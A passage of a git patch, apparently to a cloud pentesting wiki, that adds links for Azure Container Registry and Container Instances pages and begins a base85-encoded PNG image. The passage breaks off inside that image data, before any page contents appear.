From 0996afea1be78530c250e73001de92d8b398ba7a Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Sun, 12 Jan 2025 19:42:21 +0100 Subject: [PATCH] azure container --- src/SUMMARY.md | 12 +- src/images/registry_roles.png | Bin 0 -> 33553 bytes .../az-container-instances-privesc.md | 76 ++++++++ .../az-container-registry-privesc.md | 143 +++++++++++++++ .../az-services/az-container-instances.md | 47 +++++ .../az-services/az-container-registry.md | 166 ++++++++++++++++++ 6 files changed, 440 insertions(+), 4 deletions(-) create mode 100644 src/images/registry_roles.png create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-container-instances.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-container-registry.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index e3e18e17d..7ab73713c 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -408,6 +408,8 @@ - [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md) - [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md) - [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md) + - [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md) + - [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md) - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md) - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md) - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md) @@ -445,7 +447,7 @@ - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) - - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-post-exploitation.md) + - [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md) - [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md) - [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md) @@ -460,14 +462,16 @@ - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md) + - [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md) + - [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md) + - [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) - [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md) - [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md) - - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md) - - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md) + - [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md) + - [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md) - [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md) - [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md) - [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md) diff --git a/src/images/registry_roles.png b/src/images/registry_roles.png new file mode 100644 index 0000000000000000000000000000000000000000..f1d4a361518909201ee9ff872cf1002c4acf238c GIT binary patch literal 33553 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 